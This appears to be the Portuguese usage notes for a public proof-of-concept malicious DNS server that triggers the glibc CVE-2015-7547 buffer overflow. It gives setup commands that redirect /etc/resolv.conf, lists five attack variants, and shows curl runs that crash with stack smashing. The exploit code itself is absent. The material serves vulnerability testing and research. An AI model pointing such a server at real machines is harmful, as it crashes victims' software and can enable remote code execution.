
Servidor de ataque PoC para a vulnerabilidade de estouro de buffer CVE-2015-7547 no resolvedor DNS stub da glibc (versão pública)
Para testar em uma máquina local com uma versão vulnerável do glibc:
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/$ sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
Em seguida, em outra sessão de terminal, execute os ataques conforme mostrado nos exemplos abaixo.
Requer capacidade de enviar respostas > 2048 bytes via UDP e TCP.
Sequência do ataque:
Exemplo:
user@localhost:/$ curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requer capacidade de enviar respostas > 2048 bytes via UDP.
Sequência do ataque:
Exemplo:
user@localhost:/$ curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requer capacidade de enviar respostas > 1024 bytes via UDP e > 2048 bytes via TCP.
Sequência do ataque:
Exemplo:
user@localhost:/$ curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requer capacidade de enviar respostas > 2048 bytes via UDP.
Sequência do ataque:
Exemplo:
user@localhost:/$ curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requer capacidade de enviar respostas > 2048 bytes via TCP e pelo menos duas entradas de servidor de nomes em /etc/resolv.conf.
Sequência do ataque:
Exemplo:
user@localhost:/$ curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Para acionar uma resposta válida do tipo A/AAAA de um determinado tamanho a partir do servidor, envie uma solicitação para um dos seguintes:
As solicitações podem ser feitas via UDP ou TCP, e as respostas conterão o número apropriado de respostas A ou AAAA válidas para preencher a resposta até o tamanho solicitado. Quando o servidor PoC é configurado como servidor de nomes autoritativo para um domínio de teste, isso permite explorar o comportamento das hierarquias de cache DNS quando confrontadas com respostas muito grandes.
Exemplo:
user@localhost:/$ curl http://payload1.somedomain.com